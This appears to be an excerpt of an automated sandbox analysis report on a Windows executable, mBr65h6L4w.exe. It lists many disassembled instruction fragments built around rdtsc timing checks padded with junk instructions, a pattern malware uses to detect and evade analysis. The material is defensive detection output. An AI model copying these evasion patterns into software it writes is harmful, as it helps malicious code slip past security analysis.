Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12231D9 second address: 12231DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12231DE second address: 12231E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12237CA second address: 12237CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12237CE second address: 12237D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12237D2 second address: 12237DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12237DC second address: 12237E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1223941 second address: 1223949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12239A8 second address: 1223A03 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8C1CD2040Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d pushad 0x0000000e jmp 00007F8C1CD20407h 0x00000013 sub eax, dword ptr [ebp+129C1C23h] 0x00000019 popad 0x0000001a clc 0x0000001b lea eax, dword ptr [ebp+12B7452Eh] 0x00000021 adc dl, FFFFFF84h 0x00000024 mov ch, DCh 0x00000026 nop 0x00000027 pushad 0x00000028 je 00007F8C1CD203F8h 0x0000002e push eax 0x0000002f pop eax 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12583FF second address: 1258403 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1258403 second address: 1258409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1258409 second address: 1258417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F8C1CD6323Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1258417 second address: 125841B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 125841B second address: 1258421 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12642E5 second address: 12642E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12642E9 second address: 126431C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD6323Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8C1CD6323Ch 0x0000000e jmp 00007F8C1CD6323Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 je 00007F8C1CD63236h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1263EA8 second address: 1263EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1263EAE second address: 1263EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1263EB5 second address: 1263EBA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1263FE1 second address: 1264012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jnl 00007F8C1CD6325Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1267FD5 second address: 1267FD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1268278 second address: 1268282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 126839E second address: 12683B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F8C1CD203F6h 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12683B2 second address: 12683C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C1CD6323Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 126D351 second address: 126D355 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1272D79 second address: 1272D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1272D7D second address: 1272D87 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8C1CD203F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1272D87 second address: 1272D9A instructions: 0x00000000 rdtsc 0x00000002 js 00007F8C1CD6323Ch 0x00000008 jnp 00007F8C1CD63236h 0x0000000e push eax 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12739C7 second address: 12739CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12764A8 second address: 12764AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12764AE second address: 12764D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD203FCh 0x00000007 jns 00007F8C1CD203F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F8C1CD203FCh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12764D0 second address: 12764DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F8C1CD63236h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12764DA second address: 12764E5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1276793 second address: 1276797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1276797 second address: 12767D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD203FFh 0x00000007 jmp 00007F8C1CD20405h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f push eax 0x00000010 pop eax 0x00000011 pop ecx 0x00000012 jmp 00007F8C1CD203FDh 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12767D7 second address: 12767DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12767DF second address: 12767E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1276AC2 second address: 1276AD5 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8C1CD63236h 0x00000008 ja 00007F8C1CD63236h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 127EE38 second address: 127EE3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 127EE3D second address: 127EE6C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8C1CD6323Eh 0x00000008 jl 00007F8C1CD63236h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push esi 0x00000011 jmp 00007F8C1CD63242h 0x00000016 pop esi 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a jbe 00007F8C1CD6323Eh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 127D416 second address: 127D44C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F8C1CD2041Dh 0x0000000c jmp 00007F8C1CD20401h 0x00000011 jmp 00007F8C1CD20406h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 127D6E2 second address: 127D6E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 127D6E8 second address: 127D708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F8C1CD20408h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 127D708 second address: 127D734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jbe 00007F8C1CD63236h 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 je 00007F8C1CD63236h 0x00000019 jmp 00007F8C1CD63242h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 127D734 second address: 127D755 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20407h 0x00000007 jl 00007F8C1CD203FEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 127DD46 second address: 127DD4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 127DD4C second address: 127DD5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jp 00007F8C1CD203F6h 0x0000000c jp 00007F8C1CD203F6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 127DD5F second address: 127DD69 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8C1CD63242h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 127E2C9 second address: 127E2F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8C1CD20407h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 127E2F0 second address: 127E30D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD63249h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 127E30D second address: 127E313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 127E87F second address: 127E885 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 127EB66 second address: 127EB6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 11D1CB2 second address: 11D1CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F8C1CD63249h 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F8C1CD63236h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 128A463 second address: 128A467 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 128A467 second address: 128A483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jbe 00007F8C1CD63236h 0x00000012 pushad 0x00000013 popad 0x00000014 jg 00007F8C1CD63236h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 128A483 second address: 128A490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F8C1CD203F8h 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12895D9 second address: 12895DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1289AAA second address: 1289ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 je 00007F8C1CD2040Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1289ABA second address: 1289ABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1289E8E second address: 1289EB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F8C1CD20406h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jo 00007F8C1CD203FEh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 128A176 second address: 128A17C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 128A17C second address: 128A182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 129020F second address: 129021B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8C1CD63236h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 129021B second address: 129022B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F8C1CD203F6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 129047D second address: 1290481 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1290481 second address: 1290497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8C1CD203FCh 0x0000000b push esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 129074E second address: 129075A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F8C1CD63236h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 129075A second address: 1290768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12909E1 second address: 1290A00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007F8C1CD63248h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12914AE second address: 12914B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12914B4 second address: 12914B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1291B86 second address: 1291B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1291B8B second address: 1291B93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1298DA8 second address: 1298DAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1298DAC second address: 1298DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1298DB2 second address: 1298DBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1298DBE second address: 1298DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C1CD63247h 0x00000009 jp 00007F8C1CD63236h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1298DE0 second address: 1298E03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F8C1CD203F6h 0x00000009 jns 00007F8C1CD203F6h 0x0000000f jmp 00007F8C1CD20402h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1298F38 second address: 1298F3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12A9E85 second address: 12A9E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12A9E89 second address: 12A9E8E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12BB3F7 second address: 12BB3FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12BB3FB second address: 12BB410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8C1CD6323Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12C234F second address: 12C2355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12C2355 second address: 12C2359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12C7EF1 second address: 12C7F1E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8C1CD203F6h 0x00000008 jmp 00007F8C1CD20407h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jg 00007F8C1CD203F8h 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1301A28 second address: 1301A34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F8C1CD63236h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1301A34 second address: 1301A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1306217 second address: 130621B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1306051 second address: 130609C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edi 0x00000007 pushad 0x00000008 jmp 00007F8C1CD20407h 0x0000000d jmp 00007F8C1CD20406h 0x00000012 jmp 00007F8C1CD20404h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 130D36A second address: 130D3B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F8C1CD63247h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8C1CD63244h 0x00000016 jmp 00007F8C1CD6323Fh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 130D3B0 second address: 130D3B7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 130F943 second address: 130F947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13111BD second address: 13111CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F8C1CD203F6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13111CD second address: 13111D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1311018 second address: 1311024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F8C1CD203F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
